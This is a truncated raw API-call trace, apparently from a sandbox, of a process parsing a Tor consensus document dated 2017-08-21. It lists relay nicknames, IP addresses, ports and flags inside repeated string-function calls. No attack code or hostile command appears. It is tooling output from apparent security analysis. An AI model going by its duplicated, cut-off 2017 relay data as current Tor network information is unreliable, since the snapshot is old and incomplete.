HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=545\nr noce AWZNQagfgXo+cUANa/1AlHqkCvs 2017-08-21 17:01:46 216.127.173.78 443 80\nm RHZL8oqc/VXGKqpxxYycWEF4t2jDB9OBj7rYhOzCLiw\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=9030\nr hedden AXOnqLqdMgQ2QbaXJtMqmt/ibRY 2017-08-21 09:58:45 93.174.93.133 443 80\nm 8kUOtpUjcFfxz5U9Sobxvy/Z7jK8eYaG2tJjd0GV0JI\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=13300\nr Huddlepoop4 AXQZQsXHeVOE1lkkTdEXSZz4c2I 2017-08-21 08:47:30 178.157.198.187 9001 9030\nm lvXjLapF6OPpyT3VtHL2cabbUcVNEiNUSVpBLjT3lpI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5270\nr clifford AYA0aChQNFmEeB41O3pGNEPsPwY 2017-08-21 15:19:50 97.107.138.68 9001 0\nm f6glUpMp0kSOCz9GIK1aGy2okbci7DkKqS1tx5Onr3s\ns Fast Running Stable Valid\nv Tor 0.2.5.10\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1210\nr multisec2 AaD8ChoRjh17F44jllQIDVz+Y/g 2017-08-21 17:12:17 193.90.12.87 9002 0\nm 82h6aIej6E2Oklo+QvO3LSVHebTbSR6u2NWi8jRP6ZI\ns Exit Fast Guard Running Stable Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=6960\nr ForEdSnowden AaHRX5/GftBfopZv+IMGftUCzwg 2017-08-21 08:54:50 51.15.133.16 9001 0\nm 63VYlKb974uUXWxaiaKRoF/ji6cFBMi5ebi5RHVugPw\ns Fast Guard Running Stable Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=3560\nr Unnamed AaXrMo2ePpb0tMAXI7J9w0d39Dw 2017-08-21 13:40:59 185.80.222.105 9001 9030\nm Af8GyINB0hqle5c9RHM62p0Hl7Ge/HvpEDFR+GBXmT4\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=766\nr ins0 Aaklikbpf/iyyseRBXeGLBTyxSQ 2017-08-21 13:35:20 193.171.202.146 9001 9030\nm MeWdRvgTeReILiA8dUZTJ8PrpSm/2dYCjhyjhiDx6es\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.5-rc\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19700\nr Neurans AaqlqPTvVXyPn95IMpy4fzt0evQ 2017-08-21 15:54:48 98.206.202.53 443 0\nm PtY0SWQytPM4ocNiJQUol/CgjznBOXez7ve68rpIY5U\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3970\nr wsmith6079 Aa4AK05grlqP9A/bZyYPhasIeK4 2017-08-21 15:58:01 8.37.14.220 9001 9030\nm 1LCI7I00buV1LKcMCBdOZwI2D7DB5ImRiBgjfdlLu1g\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=4050\nr rixtyminutes Aa4t4xQnbIL8zDYDocLzI45lRMk 2017-08-21 15:22:19 149.56.233.142 443 80\nm dsCJtmBbhMsBLi2e3v7B6j1jS9MazB+qe3HvC5M47tI\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\n", _SubStr="\nr ") returned="\nr havingtrouble AEJpGAnlKLJYyf4BKhxGhZFj8UI 2017-08-21 02:59:14 159.203.42.254 9001 443\nm te1eP9gwzwm5qcmW2owfhrcBTS51ng31HNUK+KZksgg\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19000\nr itl11 AEWa8One0A5UpIsmgSZnn1ePaVo 2017-08-21 17:40:22 217.12.223.215 22 0\nm TXJa0g88hQDFbiVIgIk/52CAaWAQoMfnNXOd869Y0Ug\ns Fast Guard Running Stable Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=7020\nr Gbit420 AF1cK2t2OHMDZimK1kVaeEdJomo 2017-08-21 11:16:49 151.80.16.34 9077 9030\nm sVLNcNTigiVlifK0nVXgEb3PD2sa9Lwe1Ll04uIeGXA\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15800\nr MiningCrew028 AF237jbm2mx+F4sMNr6HlMEHJyA 2017-08-21 17:44:11 35.188.143.6 9001 9030\nm 86PugrjeVPl1KEgNIv4qLgFy2bWlBclsNvJ/1MDLyi8\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15900\nr Torpi AHJ/OiwdDxcxqRJnxBFQecFrILQ 2017-08-21 14:02:42 60.225.57.95 9001 9030\nm OQlZwMpEmcbyisDOjQ8hBI5X5otg2VaihxfNQalzuzU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=23\nr Quintex13 AHe8unJE2z5qXtJ0boYXAGZoSIc 2017-08-21 06:37:12 199.249.223.62 443 80\nm MSgi5gqKShKxEL1nL1Qv7wPjKACZVRtWMuGS+LYOcrY\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.4-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=4160\nr torr0zzy AHkAkox9OM/cs7yEB8rW7leiT+I 2017-08-21 10:06:35 88.198.11.171 9001 9030\nm cOR+jaMOGASTniwVtosZ3jvRKeQasm+kknW4kVeqdwI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=10700\nr powertoyou AIuoi8XPytZLWDhuE4gzcfgX4cI 2017-08-21 16:09:36 88.15.188.87 9001 9030\nm elq2XVA8OvqQajpSxd6rSnnuKnX1wHSGsEacpwHjDZg\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=9680\nr BobDoe AJQ2YvMOznqi0SYrNk/AQx94+Aw 2017-08-21 08:29:18 167.114.35.107 443 0\nm OD8mzIC+AdfqQquU61OiKu4NI62LNLQ/OrxcM2dkpeI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=8850\nr jactr AJhR35M3VLAN3odvzkCIzhtJQME 2017-08-21 17:27:06 84.40.112.70 9001 9030\nm 8oad5yZhagCebsoaJTZTDvIpKzqBiWpdugcgqcBWLnc\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=363\nr CommanderRoots AKMAUbHTEtCYv18DVDzWjvbctKw 2017-08-21 09:30:19 188.68.33.125 9001 9030\nm AhXIeVLoNu3NoIN6OYhBz7Y3xVnydnpGdTyZsFl+TVk\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=731\nr hozipi ALIqOUZNig9oebg/jlqo4oMPdAw 2017-08-21 03:42:01 188.174.164.217 80 110\nm eHqGX5t+spaXciCNnxrOjc4qwlpz7PXRIv5HLsUbC94\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=206\nr QuengHoSpore ANXCb6OAXcmTRp1THD4LgLL78nQ 2017-08-21 19:20:38 93.29.252.27 9001 9002\nm S1ncRJDzMgpUB+0pP7CmrX4BHambbPf6Hob9i/KwWUc\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=49\nr MYLEX AQt3KEVEEfSFzinUx5oUU0FRwsQ 2017-08-21 04:05:49 188.230.91.173 444 800\nm BYw2DmjX6pT40ShiDifY97YN6rVBWS4PwUr7Kb/sqQQ\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1500\nr DigiGesTor1e1 ARG6m2BGaeY2/9W1A/OCpLetboA 2017-08-21 20:06:17 176.10.104.240 443 80\nm Bkm9UxfffNEj7bD7yENepcbe3ZJS9B09lpaeEHt0hDs\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=30200\nr mndo01 ARHr9cPwbAn/DtOXsN4zRWzG8uM 2017-08-21 18:34:31 139.59.210.198 9001 0\nm rUvK2DAfZAAw6qopNyGZ45AjC4y6L1fikgen5Udgflk\ns Running Stable V2Dir Valid\nv Tor 0.3.0.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=1\nr biochemistmoscow ASgRXsTMNXheAF8L8v7ffs3E8Ds 2017-08-21 20:36:08 5.228.12.221 12630 12631\nm jIeCthgvWahqvnicvDHwUVAvJLq8IanFu2rG11Lj80E\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=445\nr Pasuga AT4Dw+lRtHKDe9Yr4xY7oiWVUfY 2017-08-21 05:13:19 85.69.57.27 4445 8885\nm pnRN98HldcSPXpDMyJMwQaiqf117riRuDvHjHgHO+1Q\ns Fast Running V2Dir Valid\nv Tor 0.2.9.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1080\nr marsmellow AU7iS8vaFg8jayVHpGObJ+MDoec 2017-08-21 07:05:21 62.251.89.74 9001 0\nm lRUWy4T957ovquITXh8Lvju0agJ8cCyWb3CFBlkSjbo\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3890\nr zorroleroB AVjf5WgvIFDPAxs3PLpi8WextFY 2017-08-21 14:05:43 109.75.184.77 443 0\nm oAq7EvKbaN5GOpEJFhDJGo1V+OH6cCACfstXDN/D5n8\ns Fast Running Stable Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=536\nr d0dak AWCT7kuumvRz/AyBGp0Q/aqco0s 2017-08-21 12:34:51 62.65.107.36 443 0\nm F/u3oUPA4i5rl1VcGNbjf1GMoj9YJjxPzk1ZvmYgadY\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=891\nr heidelbeermann AWWmgIYt5cNM13JBE0cq97Hdyfs 2017-08-21 02:36:21 84.19.178.155 9001 0\nm R57tNDgaBefi3y1iqENry663CbjRAx/8tuj9eqeUdak\ns Fast Running Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=545\nr noce AWZNQagfgXo+cUANa/1AlHqkCvs 2017-08-21 17:01:46 216.127.173.78 443 80\nm RHZL8oqc/VXGKqpxxYycWEF4t2jDB9OBj7rYhOzCLiw\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=9030\nr hedden AXOnqLqdMgQ2QbaXJtMqmt/ibRY 2017-08-21 09:58:45 93.174.93.133 443 80\nm 8kUOtpUjcFfxz5U9Sobxvy/Z7jK8eYaG2tJjd0GV0JI\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=13300\nr Huddlepoop4 AXQZQsXHeVOE1lkkTdEXSZz4c2I 2017-08-21 08:47:30 178.157.198.187 9001 9030\nm lvXjLapF6OPpyT3VtHL2cabbUcVNEiNUSVpBLjT3lpI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5270\nr clifford AYA0aChQNFmEeB41O3pGNEPsPwY 2017-08-21 15:19:50 97.107.138.68 9001 0\nm f6glUpMp0kSOCz9GIK1aGy2okbci7DkKqS1tx5Onr3s\ns Fast Running Stable Valid\nv Tor 0.2.5.10\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1210\nr multisec2 AaD8ChoRjh17F44jllQIDVz+Y/g 2017-08-21 17:12:17 193.90.12.87 9002 0\nm 82h6aIej6E2Oklo+QvO3LSVHebTbSR6u2NWi8jRP6ZI\ns Exit Fast Guard Running Stable Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=6960\nr ForEdSnowden AaHRX5/GftBfopZv+IMGftUCzwg 2017-08-21 08:54:50 51.15.133.16 9001 0\nm 63VYlKb974uUXWxaiaKRoF/ji6cFBMi5ebi5RHVugPw\ns Fast Guard Running Stable Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=3560\nr Unnamed AaXrMo2ePpb0tMAXI7J9w0d39Dw 2017-08-21 13:40:59 185.80.222.105 9001 9030\nm Af8GyINB0hqle5c9RHM62p0Hl7Ge/HvpEDFR+GBXmT4\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=766\nr ins0 Aaklikbpf/iyyseRBXeGLBTyxSQ 2017-08-21 13:35:20 193.171.202.146 9001 9030\nm MeWdRvgTeReILiA8dUZTJ8PrpSm/2dYCjhyjhiDx6es\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.5-rc\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19700\nr Neurans AaqlqPTvVXyPn95IMpy4fzt0evQ 2017-08-21 15:54:48 98.206.202.53 443 0\nm PtY0SWQytPM4ocNiJQUol/CgjznBOXez7ve68rpIY5U\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3970\nr wsmith6079 Aa4AK05grlqP9A/bZyYPhasIeK4 2017-08-21 15:58:01 8.37.14.220 9001 9030\nm 1LCI7I00buV1LKcMCBdOZwI2D7DB5ImRiBgjfdlLu1g\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=4050\nr rixtyminutes Aa4t4xQnbIL8zDYDocLzI45lRMk 2017-08-21 15:22:19 149.56.233.142 443 80\nm dsCJtmBbhMsBLi2e3v7B6j1jS9MazB+qe3HvC5M47tI\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=14800\nr dry AbN5Rg1ZY3CGUo3ht+x2nOeX248 2017-08-21 06:35:56 5.255.78.169 32442 26465\nm HoBdYyT4yFQYQBN84yO+tayKa150XRClilS+uGgeqzQ\ns Fast HSDir Running Stable V2Dir Valid\nv" [0119.876] strlen (_Str="\ndirectory-footer") returned 0x11 [0119.876] memchr (_Buf=0x3941559, _Val=10, _MaxCount=0x118) returned 0x39415aa [0119.876] strncmp (_Str1="m 41nHWhtdx", _Str2="-----BEGIN ", _MaxCount=0xb) returned 64 [0119.876] strncmp (_Str1="s Fast Runn", _Str2="-----BEGIN ", _MaxCount=0xb) returned 70 [0119.876] strncmp (_Str1="v Tor 0.3.0", _Str2="-----BEGIN ", _MaxCount=0xb) returned 73 [0119.876] strncmp (_Str1="pr Cons=1-2", _Str2="-----BEGIN ", _MaxCount=0xb) returned 67 [0119.876] strncmp (_Str1="w Bandwidth", _Str2="-----BEGIN ", _MaxCount=0xb) returned 74 [0119.876] htonl (hostlong=0x5b6135b2) returned 0xb235615b [0119.876] htonl (hostlong=0xb235615b) returned 0x5b6135b2 [0119.876] _errno () returned 0x9f07d8 [0119.876] strtol (in: _Str="9001", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 9001 [0119.876] _errno () returned 0x9f07d8 [0119.876] _errno () returned 0x9f07d8 [0119.876] strtol (in: _Str="9030", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 9030 [0119.876] _errno () returned 0x9f07d8 [0119.876] strcmp (_Str1="Fast", _Str2="Exit") returned 1 [0119.876] strncmp (_Str1="Tor ", _Str2="Tor ", _MaxCount=0x4) returned 0 [0119.876] strtol (in: _Str="0.2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".2.4.8-alpha") returned 0 [0119.876] strtol (in: _Str="2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".4.8-alpha") returned 2 [0119.876] strtol (in: _Str="4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".8-alpha") returned 4 [0119.876] strtol (in: _Str="8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="-alpha") returned 8 [0119.876] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.876] strlen (_Str="(git-") returned 0x5 [0119.876] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.876] strlen (_Str="Tor ") returned 0x4 [0119.876] strncmp (_Str1="Tor ", _Str2="Tor ", _MaxCount=0x4) returned 0 [0119.876] strlen (_Str="(r") returned 0x2 [0119.876] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.876] strlen (_Str="(git-") returned 0x5 [0119.876] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.876] strtol (in: _Str="0.3.0.7", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".3.0.7") returned 0 [0119.877] strtol (in: _Str="3.0.7", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".0.7") returned 3 [0119.877] strtol (in: _Str="0.7", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".7") returned 0 [0119.877] strtol (in: _Str="7", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="") returned 7 [0119.877] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.877] strlen (_Str="(git-") returned 0x5 [0119.877] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.877] strlen (_Str="Bandwidth=") returned 0xa [0119.877] strncmp (_Str1="Bandwidth=", _Str2="Bandwidth=", _MaxCount=0xa) returned 0 [0119.877] strncmp (_Str1="r ", _Str2="r ", _MaxCount=0x2) returned 0 [0119.877] strstr (_Str="r havingtrouble AEJpGAnlKLJYyf4BKhxGhZFj8UI 2017-08-21 02:59:14 159.203.42.254 9001 443\nm te1eP9gwzwm5qcmW2owfhrcBTS51ng31HNUK+KZksgg\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19000\nr itl11 AEWa8One0A5UpIsmgSZnn1ePaVo 2017-08-21 17:40:22 217.12.223.215 22 0\nm TXJa0g88hQDFbiVIgIk/52CAaWAQoMfnNXOd869Y0Ug\ns Fast Guard Running Stable Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=7020\nr Gbit420 AF1cK2t2OHMDZimK1kVaeEdJomo 2017-08-21 11:16:49 151.80.16.34 9077 9030\nm sVLNcNTigiVlifK0nVXgEb3PD2sa9Lwe1Ll04uIeGXA\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15800\nr MiningCrew028 AF237jbm2mx+F4sMNr6HlMEHJyA 2017-08-21 17:44:11 35.188.143.6 9001 9030\nm 86PugrjeVPl1KEgNIv4qLgFy2bWlBclsNvJ/1MDLyi8\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15900\nr Torpi AHJ/OiwdDxcxqRJnxBFQecFrILQ 2017-08-21 14:02:42 60.225.57.95 9001 9030\nm OQlZwMpEmcbyisDOjQ8hBI5X5otg2VaihxfNQalzuzU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=23\nr Quintex13 AHe8unJE2z5qXtJ0boYXAGZoSIc 2017-08-21 06:37:12 199.249.223.62 443 80\nm MSgi5gqKShKxEL1nL1Qv7wPjKACZVRtWMuGS+LYOcrY\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.4-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=4160\nr torr0zzy AHkAkox9OM/cs7yEB8rW7leiT+I 2017-08-21 10:06:35 88.198.11.171 9001 9030\nm cOR+jaMOGASTniwVtosZ3jvRKeQasm+kknW4kVeqdwI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=10700\nr powertoyou AIuoi8XPytZLWDhuE4gzcfgX4cI 2017-08-21 16:09:36 88.15.188.87 9001 9030\nm elq2XVA8OvqQajpSxd6rSnnuKnX1wHSGsEacpwHjDZg\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=9680\nr BobDoe AJQ2YvMOznqi0SYrNk/AQx94+Aw 2017-08-21 08:29:18 167.114.35.107 443 0\nm OD8mzIC+AdfqQquU61OiKu4NI62LNLQ/OrxcM2dkpeI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=8850\nr jactr AJhR35M3VLAN3odvzkCIzhtJQME 2017-08-21 17:27:06 84.40.112.70 9001 9030\nm 8oad5yZhagCebsoaJTZTDvIpKzqBiWpdugcgqcBWLnc\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=363\nr CommanderRoots AKMAUbHTEtCYv18DVDzWjvbctKw 2017-08-21 09:30:19 188.68.33.125 9001 9030\nm AhXIeVLoNu3NoIN6OYhBz7Y3xVnydnpGdTyZsFl+TVk\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 